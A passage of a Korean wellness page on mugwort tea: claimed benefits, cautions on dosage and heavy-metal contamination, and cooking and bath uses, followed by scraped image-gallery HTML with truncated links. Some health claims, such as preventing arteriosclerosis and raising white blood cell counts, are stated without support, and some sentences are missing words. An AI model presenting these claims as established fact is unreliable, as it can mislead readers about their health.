혈액 내 콜레스테롤 수치를 낮추고 혈관을 깨끗하게 만들어 고혈압이나 동맥경화와 같은 혈관 예방에 도움을 줍니다. 또한 백혈구의 수를 늘려 면역 기능을 강화함으로써 감기나 외부 바이러스로부터 몸을 보호하는 저항력을 길러줍니다.</p><p data-path-to-node="6"><b data-path-to-node="6" data-index-in-node="0">2. 쑥차 섭취 시 주의점 및 </b></p><p data-path-to-node="7">쑥은 수많은 장점을 가진 식품이지만, 체질과 상황에 따라 주의해야 할 점도 분명히 존재합니다. 가장 먼저 고려해야 할 것은 개인의 체질입니다. 쑥은 열이 많은 성질을 가지고 있기 때문에, 평소 몸에 열이 지나치게 많거나 땀이 많은 분들은 과다 섭취 시 오히려 상열감이나 두통을 느낄 수 있습니다.</p><p data-path-to-node="8">또한 쑥에는 소량의 독성 성분이 포함되어 있을 수 있으므로 반드시 제대로 세척하고 익혀서 먹는 것이 안전합니다. 특히 길가나 오염된 지역에서 자란 쑥은 중금속을 흡수했을 가능성이 크므로 절대 채취하지 말아야 하며, 검증된 환경에서 자란 쑥을 선택해야 합니다. 쑥차로 마실 때는 하루 1~2잔 정도가 적당하며, 위장이 약한 사람이 공복에 진한 쑥차를 마실 경우 속 쓰림을 유발할 수 있으니 식후에 연하게 우려 마시는 것이 좋습니다.</p><p data-path-to-node="9"><b data-path-to-node="9" data-index-in-node="0">3. 건강하고 다양한 쑥 활용법</b></p><p data-path-to-node="10">쑥은 차 외에도 요리와 일상생활에서 다양하게 활용할 수 있습니다. 봄철 가장 대표적인 요리인 쑥국은 조개나 들깨가루를 넣어 끓이면 맛과 영양의 균형이 완벽해집니다. 또한 떡으로 만들어 먹으면 전분의 소화를 돕고 쑥의 유효 성분을 적으로 섭취할 수 있습니다.</p><p data-path-to-node="11">식용 외에도 '쑥버무리'나 '쑥전' 등으로 즐거운 식감을 느낄 수 있으며, 말린 쑥은 주머니에 넣어 입욕제로 활용하면 피부 가려움증 완화와 혈액 순환에 도움을 줍니다. 쑥의 향은 마음을 안정시키는 도 있어 스트레스가 심한 날 쑥차 한 잔과 함께 쑥 향을 맡으며 휴식을 취하는 것도 좋은 방법입니다. 자연이 준 선물인 쑥을 올바르게 이해하고 섭취하여 건강한 활력을 찾아보시길 바랍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1952197375="" data-is-interactive="false" class="ng-star-inserted"><div _ngcontent-ng-c1952197375="" class="image-container ng-star-inserted" data-full-size-image-uri="https://cgeimage.commutil.kr/phpwas/restmb_allidxmake.php?pp=002&idx=3&simg=20250911143643027726aa9cc43d05872322.jpg&nmt=48"><div _ngcontent-ng-c1952197375="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1952197375="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3213727419="" jslog="181501;track:generic_click,impression,attention;BardVeMetadataKey:[["r_799337391536eaff","c_38ca69dd8008f176",null,"rc_14496e7b01f6e983",null,null,"ko",null,1,null,null,1,0]];mutable:true" s://.hinews.co.kr/view.php?ud=2025090316123342279284fa285d_48" data-hveid="3"><span _ngcontent-ng-c3213727419="" data-test-id="content" class="link-content ng-star-inserted"><img _ngcontent-ng-c1952197375="" loading="lazy" autocrossorigin="" class="image ng-star-inserted loaded" alt="쑥 쑥차 건강 , AI로 생성" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSSQCMQYoo8CZneq3OrZJ70URvlXp9uu-phqIH390XVdeVnRRoXdaHl7TOwuB2D"></span><span _ngcontent-ng-c3213727419="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1952197375="" rel="noopener" class="source ng-star-inserted" s://.hinews.co.kr/view.php?ud=2025090316123342279284fa285d_48" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_799337391536eaff","c_38ca69dd8008f176",null,"rc_14496e7b01f6e983",null,null,"ko",null,1,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1952197375="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRc0Aj0HE88VOlIQk8F7-R3k6FBJdOu8ERIxO9euHhmYCRiKC9Hv9sltYwYq929WAW4eNzHwB4Wa6d00roKgygb3DODolSdT5AstQ"><span _ngcontent-ng-c1952197375="" class="label ellipsis gds-body-s">.hinews.co.kr</span><span _ngcontent-ng-c1952197375="" aria-label=""></span></a></div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1952197375="" data-is-interactive="false" class="ng-star-inserted"><div _ngcontent-ng-c1952197375="" class="image-container ng-star-inserted" data-full-size-image-uri="https://gradium.co.kr/wp-content/uploads/artemisia-2-1024x683.jpg"><div _ngcontent-ng-c1952197375="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1952197375="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3213727419="" jslog="181501;track:generic_click,impression,attention;BardVeMetadataKey:[["r_799337391536eaff","c_38ca69dd8008f176",null,"rc_14496e7b01f6e983",null,null,"ko",null,1,null,null,1,0]];mutable:true" s://gradium.co.kr/artemisia-benefits/" data-hveid="5"><span _ngcontent-ng-c3213727419="" data-test-id="content" class="link-content ng-star-inserted"><img _ngcontent-ng-c1952197375="" loading="lazy" autocrossorigin="" class="image ng-star-inserted loaded" alt="쑥 쑥차 건강 , AI로 생성" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRFWuyg7HwlufTUWw_xIWFXs0OpFgDOEHrDemkoNKwsb73gzo1f2vIfjC0lJQdk"></span><span _ngcontent-ng-c3213727419="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1952197375="" rel="noopener" class="source ng-star-inserted" s://gradium.co.kr/artemisia-benefits/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_799337391536eaff","c_38ca69dd8008f176",null,"rc_14496e7b01f6e983",null,null,"ko",null,1,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1952197375="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTrCho6FLAzDjqfh8OVfcC-thoPHbCGF4gUp0X0nyg5YJPfTOkzTW_9tzQJ0CnIjlAX-fOOunRBKVHeeJ-KmtxaQPVJKL7KBg"><span _ngcontent-ng-c1952197375="" class="label ellipsis gds-body-s">gradium.co.kr</span><span _ngcontent-ng-c1952197375="" aria-label=""></span></a></div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1952197375="" data-is-interactive="false" class="ng-star-inserted"><div _ngcontent-ng-c1952197375="" class="image-container ng-star-inserted" data-full-size-image-uri="https://i.ytimg.com/vi/i9o338FWkhg/hq720.jpg?sqp=-oaymwEhCK4FEIIDSFryq4qpAxMIARUAAAAAGAElAADIQj0AgKJD&rs=AOn4CLDpQUfHzcgccTK6d_fu5b63wx_WTw"><div _ngcontent-ng-c1952197375="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1952197375="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3213727419="" jslog="181501;track:generic_click,impression,attention;BardVeMetadataKey:[["r_799337391536eaff","c_38ca69dd8008f176",null,"rc_14496e7b01f6e983",null,null,"ko",null,1,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=i9o338FWkhg" data-hveid="7"><span _ngcontent-ng-c3213727419="" data-test-id="content" class="link-content ng-star-inserted"><img _ngcontent-ng-c1952197375="" loading="lazy" autocrossorigin="" class="image ng-star-inserted loaded" alt="쑥 쑥차 건강 , AI로 생성" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSG_ALYZJzKoT6lOox8Qxm3ii-RW2IiAsq4XkFZKIUHsVK45wXQ4GQbCwQAPu-W"></span><span _ngcontent-ng-c3213727419="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1952197375="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=i9o338FWkhg" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_799337391536eaff","c_38ca69dd8008f176",null,"rc_14496e7b01f6e983",null,null,"ko",null,1,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1952197375="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c1952197375="" class="label ellipsis gds-body-s">.youtube.com</span><span _ngcontent-ng-c1952197375="" aria-label=""></span></a></div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1952197375="" data-is-interactive="false" class="ng-star-inserted"><div _ngcontent-ng-c1952197375="" class="image-container ng-star-inserted" data-full-size-image-uri="https://blog.kakaocdn.net/dna/beXtvV/btsASrbdjut/AAAAAAAAAAAAAAAAAAAAAKa1FdUgrHRiPwHNC8m0xRV43eiJWE_5093PZJer1qAZ/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1777561199&allow_ip=&allow_referer=&signature=hpS3q%2BrdTALurXu1Jda7Hv03FiI%3D"><div _ngcontent-ng-c1952197375="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1952197375="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3213727419="" jslog="181501;track:generic_click,impression,attention;BardVeMetadataKey:[["r_799337391536eaff","c_38ca69dd8008f176",null,"rc_14496e7b01f6e983",null,null,"ko",null,1,null,null,1,0]];mutable:true" s://lifeedu07..com/92" data-hveid="9"><span _ngcontent-ng-c3213727419="" data-test-id="content" class="link-content ng-star-inserted"><img _ngcontent-ng-c1952197375="" loading="lazy" autocrossorigin="" class="image ng-star-inserted loaded" alt="쑥 쑥차 건강 , AI로 생성" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTjKwZbNF3_DevscoOxlVAOCmJIZIHzSjwClhETQsDNXbYck6AaWlT_8HpATfw5"></span><span _ngcontent-ng-c3213727419="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1952197375="" rel="noopener" class="source ng-star-inserted" s://lifeedu07..com/92" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_799337391536eaff","c_38ca69dd8008f176",null,"rc_14496e7b01f6e983",null,null,"ko",null,1,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1952197375="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTE-N7hxh1SWICVOqce-kWgGa_-8pfMaGsCHCoWEifKbVg12kHtCgyuNSodu37Ir4Ygud77hWWF59BObIG1QBhMpGbkVoJVRXc6BY3npQDU"><span _ngcontent-ng-c1952197375="" class="label ellipsis gds-body-s">lifeedu07..com</span><span _ngcontent-ng-c1952197375="" aria-label=""></span></a></div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1952197375="" data-is-interactive="false" class="ng-star-inserted"><div _ngcontent-ng-c1952197375="" class="image-container ng-star-inserted" data-full-size-image-uri="https://stunningroad.com/wp-content/uploads/2022/11/%EB%8B%A8%EA%B5%B0%EC%8B%A0%ED%99%94%EC%97%90%EB%8F%84-%EB%82%98%EC%98%A4%EB%8A%94-%EC%91%A5-%EC%91%A5%EC%B0%A8-%ED%9A%A8%EB%8A%A5%EA%B3%BC-%EB%B6%80%EC%9E%91%EC%9A%A9.jpg"><div _ngcontent-ng-c1952197375="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1952197375="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3213727419="" jslog="181501;track:generic_click,impression,attention;BardVeMetadataKey:[["r_799337391536eaff","c_38ca69dd8008f176",null,"rc_14496e7b01f6e983",null,null,"ko",null,1,null,null,1,0]];mutable:true" s://stunningroad.com/%EC%91%A5%EC%B0%A8-%ED%9A%A8%EB%8A%A5%EA%B3%BC-%EB%B6%80%EC%9E%91%EC%9A%A9/" data-hveid="11"><span _ngcontent-ng-c3213727419="" data-test-id="content" class="link-content ng-star-inserted"><img _ngcontent-ng-c1952197375="" loading="lazy" autocrossorigin="" class="image ng-star-inserted loaded" alt="쑥 쑥차 건강 , AI로 생성" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSixqKVMCL-5BvnD1ruQ_xoOaR4t3w-5F9oLHRj1i2YVTNnEGTRdg58wCPWUag6"></span><span _ngcontent-ng-c3213727419="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1952197375="" rel="noopener" class="source ng-star-inserted" s://stunningroad.com/%EC%91%A5%EC%B0%A8-%ED%9A%A8%EB%8A%A5%EA%B3%BC-%EB%B6%80%EC%9E%91%EC%9A%A9/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_799337391536eaff","c_38ca69dd8008f176",null,"rc_14496e7b01f6e983",null,null,"ko",null,1,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1952197375="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcR6bM1bqRkVvYqxfvoEpTMSEC2E_k80OHZxrBoxn8DxiBw7wrutawXlnLBaG74i-drmT_DaktJb8lv80MUXpGcaIppheIxFrWkjGg"><span _ngcontent-ng-c1952197375="" class="label ellipsis gds-body-s">stunningroad.com</span><span _ngcontent-ng-c1952197375="" aria-label=""></span></a></div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1952197375="" data-is-interactive="false" class="ng-star-inserted"><div _ngcontent-ng-c1952197375="" class="image-container ng-star-inserted" data-full-size-image-uri="https://cdn.welfarehello.com/naver-blog/production/jewel-jindo/2023-03/223022911658/jewel-jindo_223022911658_0.jpg?f=webp&q=80&w=800"><div _ngcontent-ng-c1952197375="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1952197375="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3213727419="" jslog="181501;track:generic_click,impression,attention;BardVeMetadataKey:[["r_799337391536eaff","c_38ca69dd8008f176",null,"rc_14496e7b01f6e983",null,null,"ko",null,1,null,null,1,0]];mutable:true" s://.welfarehello.com/community/hometownNews/4e4aec7e-4cb0-4031-b331-f30218993d4a" data-hveid="13"><span _ngcontent-ng-c3213727419="" data-test-id="content" class="link-content ng-star-inserted"><img _ngcontent-ng-c1952197375="" loading="lazy" autocrossorigin="" class="image ng-star-inserted loaded" alt="쑥 쑥차 건강 , AI로 생성" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRs7wHv5Wc7xTm0M_FXfPFF9d5K41b9eypes7nbltpdSDMGS2qi-Hgsed5U0FnK"></span><span _ngcontent-ng-c3213727419="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1952197375="" rel="noopener" class="source ng-star-inserted" s://.welfarehello.com/community/hometownNews/4e4aec7e-4cb0-4031-b331-f30218993d4a" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_799337391536eaff","c_38ca69dd8008f176",null,"rc_14496e7b01f6e983",null,null,"ko",null,1,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1952197375="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSY-IUNEskt-jXyyH2T_Xobe4QQKQtqCE43MUl6OuzMvfYMDy7DlbNPoGnmvITG6pjf7QgIwtpn8onvnwfhzBoUKMuJAKWDGDdK6jukT84"><span _ngcontent-ng-c1952197375="" class="label ellipsis gds-body-s">.welfarehello.com</span><span _ngcontent-ng-c1952197375="" aria-label=""></span></a></div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1952197375="" data-is-interactive="false" class="ng-star-inserted"><div _ngcontent-ng-c1952197375="" class="image-container ng-star-inserted" data-full-size-image-uri="https://bareunnutri.com/files/attach/images/2026/02/04/27ad5f7b4bfc7a16857a0b4b1f6f5eeb.jpg"><div _ngcontent-ng-c1952197375="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1952197375="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3213727419="" jslog="181501;track:generic_click,impression,attention;BardVeMetadataKey:[["r_799337391536eaff","c_38ca69dd8008f176",null,"rc_14496e7b01f6e983",null,null,"ko",null,1,null,null,1,0]];mutable:true" s://bareunnutri.com/health_info/967175" data-hveid="15"><span _ngcontent-ng-c3213727419="" data-test-id="content" class="link-content ng-star-inserted"><img _ngcontent-ng-c1952197375="" loading="lazy" autocrossorigin="" class="image ng-star-inserted loaded" alt="쑥 쑥차 건강 , AI로 생성" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTealn5Nl5RJx3OwOwjD6-pvZK536rpGK4-rxg7rr-oABWThuShnzSHGLdP_DAp"></span><span _ngcontent-ng-c3213727419="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1952197375="" rel="noopener" class="source ng-star-inserted" s://bareunnutri.com/health_info/967175" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_799337391536eaff","c_38ca69dd8008f176",null,"rc_14496e7b01f6e983",null,null,"ko",null,1,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1952197375="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTI0UeEK4wIdtQDvtvAj0jyBhPzDqi99Q56e-MXMkkN12jLvdihbdgsQq1-PVtVhagpwvKdYuyeY4-0Xb16d9MWGYzcgYBN3h5F"><span _ngcontent-ng-c1952197375="" class="label ellipsis gds-body-s">bareunnutri.com</span><span _ngcontent-ng-c1952197375="" aria-label=""></span></a></div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1952197375="" data-is-interactive="false" class="ng-star-inserted"><div _ngcontent-ng-c1952197375="" class="image-container ng-star-inserted" data-full-size-image-uri="https://i.ytimg.com/vi/CYHDpmu5t4Q/hq720.jpg?sqp=-oaymwEhCK4FEIIDSFryq4qpAxMIARUAAAAAGAElAADIQj0AgKJD&rs=AOn4CLDHnMgLxZG84B5t1-lDjezHlR2l7A"><div _ngcontent-ng-c1952197375="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1952197375="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3213727419="" jslog="181501;track:generic_click,impression,attention;BardVeMetadataKey:[["r_799337391536eaff","c_38ca69dd8008f176",null,"rc_14496e7b01f6e983",null,null,"ko",null,1,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=CYHDpmu5t4Q" data-hveid="17"><span _ngcontent-ng-c3213727419="" data-test-id="content" class="link-content ng-star-inserted"><img _ngcontent-ng-c1952197375="" loading="lazy" autocrossorigin="" class="image ng-star-inserted loaded" alt="쑥 쑥차 건강 , AI로 생성" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTsc2I5n0qDnbcOMhpQ8h0ySAvRNJUA7QF3itAPToyk4dGonCnmtofj08YKCmY9"></span><span _ngcontent-ng-c3213727419="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1952197375="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=CYHDpmu5t4Q" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_799337391536eaff","c_38ca69dd8008f176",null,"rc_14496e7b01f6e983",null,null,"ko",null,1,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1952197375="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c1952197375="" class="label ellipsis gds-body-s">.youtube.com</span><span _ngcontent-ng-c1952197375="" aria-label=""></span></a></div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1952197375="" data-is-interactive="false" class="ng-star-inserted"><div _ngcontent-ng-c1952197375="" class="image-container ng-star-inserted" data-full-size-image-uri="https://blog.kakaocdn.net/dna/bm5EVw/btsATO4ml7y/AAAAAAAAAAAAAAAAAAAAAGgSEkZTbSfM_8J2rncEzF6r5c-ljDLy0ZpAEQtG6K-0/img.jpg?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1777561199&allow_ip=&allow_referer=&signature=Dq10qNL4jd4yaUH8xtUhHXBKvt0%3D"><div _ngcontent-ng-c1952197375="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1952197375="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3213727419="" jslog="181501;track:generic_click,impression,attention;BardVeMetadataKey:[["r_799337391536eaff","c_38ca69dd8008f176",null,"rc_14496e7b01f6e983",null,null,"ko",null,1,null,null,1,0]];mutable:true" s://lifeedu07..com/92" data-hveid="19"><span _ngcontent-ng-c3213727419="" data-test-id="content" class="link-content ng-star-inserted"><img _ngcontent-ng-c1952197375="" loading="lazy" autocrossorigin="" class="image ng-star-inserted loaded" alt="쑥 쑥차 건강 , AI로 생성" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSBkRLXaGuCR6mfxxfr2Ntj5xmZoxLE_wQf04pMP2BSdvPTY_LJcpYUsTCXbGf5"></span><span _ngcontent-ng-c3213727419="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1952197375="" rel="noopener" class="source ng-star-inserted" s://lifeedu07..com/92" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_799337391536eaff","c_38ca69dd8008f176",null,"rc_14496e7b01f6e983",null,null,"ko",null,1,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1952197375="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTE-N7hxh1SWICVOqce-kWgGa_-8pfMaGsCHCoWEifKbVg12kHtCgyuNSodu37Ir4Ygud77hWWF59BObIG1QBhMpGbkVoJVRXc6BY3npQDU"><span _ngcontent-ng-c1952197375="" class="label ellipsis gds-body-s">lifeedu07..com</span><span _ngcontent-ng-c1952197375="" aria-label=""></span></a></div></div></single-image></response-element></div></p></div> </div></div>